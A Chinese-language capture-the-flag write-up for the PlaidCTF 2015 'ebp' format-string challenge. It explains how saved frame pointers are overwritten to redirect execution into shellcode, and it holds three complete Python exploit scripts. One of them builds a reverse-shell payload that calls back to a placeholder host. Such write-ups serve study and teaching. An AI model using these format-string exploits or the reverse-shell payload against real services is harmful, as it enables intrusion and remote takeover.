zoukankan      html  css  js  c++  java
  • plaidctf2015 ebp

      很容易看出是格式化字符串漏洞。这里的格式化字符串漏洞不像传统的那样,格式化字符串是放在bss段中,并没放在栈上,因此利用起来有些困难。

      不过,我们可以利用ebp,可以修改函数的ebp,从而能控制函数的流程。

      第一步,修改了main's ebp(也就是修改了echo_ebp's ebp指向的内容)为make_response's ebp,为下一步修改echo's ebp做准备。

      第二步,修改echo's ebp(也就是修改了make_response's ebp指向的内容)为栈中某个地址(记为0x********),使得0x********+4(也就是echo's 返回地址)指向shellcode所在的缓冲区。经过观察,栈中确实存在这样的位置。

      这样,echo在返回的时候将执行shellcode。

      比赛时自己的poc如下:

     1 from socket import *
     2 import time
     3 shellcode="x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x59x50x5axb0x0bxcdx80
    "
     4 sock = socket(AF_INET, SOCK_STREAM)
     5 #sock.connect(("192.168.200.7", 10001)) #local debug
     6 sock.connect(("52.6.64.173", 4545))#remote
     7 time.sleep(1)
     8 infoleak="%x%x%x%x
    "
     9 sock.send(infoleak)
    10 time.sleep(1)
    11 leak=sock.recv(1024)
    12 print leak
    13 echo_ebp=leak[-6:-2]
    14 print echo_ebp
    15 echo_ebp=int(echo_ebp,16)
    16 make_ebp=echo_ebp-32
    17 main_ebp=echo_ebp+32
    18 print hex(make_ebp)
    19 
    20 format1="%%%dc" % make_ebp + "%4$hn
    "
    21 sock.send(format1)
    22 print sock.recv(1024)
    23 
    24 format2="x90x90xebx0f" + "%%%dc" % (echo_ebp+4-4) + "%12$hn" + "x90"*10 + shellcode + "
    "
    25 sock.send(format2)
    26 print sock.recv(1024)
    27 
    28 while 1:
    29      sock.send(raw_input('$ ')+'
    ')
    30      time.sleep(1)
    31      print sock.recv(1024)
    32 sock.close()

      结果:

      此外,赛后我也看了别人的writeup。第一篇见:http://geeksspeak.github.io/blog/2015/04/20/plaidctf-ctf-2015-ebp-writeup/ 分析得很清楚,原作者的Poc如下,我也从他的poc中学到了不少东西。这个poc比我自己写得要好不少,思路更清晰。

     1 import socket
     2 import struct
     3 import telnetlib
     4 
     5 response = 0x0804a480
     6 
     7 offset = 4 # saved frame pointer offset 
     8 
     9 shellcode = (  # /bin/sh shellcode at http://shell-storm.org/shellcode/files/shellcode-236.php
    10   "x6ax0bx58x99x52x68x2fx2f"
    11         "x73x68x68x2fx62x69x6ex54"
    12         "x5bx52x53x54x59x0fx34"
    13 )
    14 
    15 s = socket.create_connection(("52.6.64.173", 4545 ))
    16 #s = socket.create_connection(("127.0.0.1", 8080 ))
    17 s.send("%4$p
    ")
    18 addr = int(s.recv(1024), 16)
    19 print "[+] Leaked Address: ", hex(addr)
    20 addr1 = (addr - 0x1c) & 0xffff
    21 print "[+] 2Byte Significant Byte to write : ", hex(addr1) 
    22 
    23 s.send("%"+str(addr1)+"x%"+str(offset)+"$hn
    ")
    24 s.recv(4096)
    25 
    26 s.send(shellcode+"%"+str((response & 0xffff)-len(shellcode))+"x%"+str(12)+"$hn
    ")
    27 print "[+] Here you go"
    28 t = telnetlib.Telnet()
    29 t.sock = s
    30 t.interact()

      还有另外一个版本,来自:https://ctf-team.vulnhub.com/plaidctf-2015-ebp/ 这个版本中利用了pwntools的反向shell,思路很清楚(比赛时我起初也是这样的思路,但是没有想到也不会使用反向shell),但是执行时间较长。学习了不少东西。代码如下:

     1 #!/usr/bin/env python
     2 from pwn import *
     3 
     4 r = remote("52.6.64.173", 4545)
     5 
     6 buf_addr = p32(0x0804a080)
     7 sc_addr  = p32(0x0804A09b)
     8 
     9 payload =  ""
    10 payload += "%134520975u%4$n"
    11 payload += buf_addr
    12 payload += sc_addr
    13 payload += "AAAA"
    14 
    15 payload += asm(shellcraft.linux.connect("x.x.x.x", 9898))
    16 payload += asm(shellcraft.linux.dupsh())
    17 
    18 print "+ sending payload"
    19 r.send(payload + "
    ")
    20 print "+ got back:", r.recv()
  • 相关阅读:
    poj 1579(动态规划初探之记忆化搜索)
    hdu 1133(卡特兰数变形)
    CodeForces 625A Guest From the Past
    CodeForces 625D Finals in arithmetic
    CDOJ 1268 Open the lightings
    HDU 4008 Parent and son
    HDU 4044 GeoDefense
    HDU 4169 UVALive 5741 Wealthy Family
    HDU 3452 Bonsai
    HDU 3586 Information Disturbing
  • 原文地址:https://www.cnblogs.com/wangaohui/p/4455048.html
Copyright © 2011-2022 走看看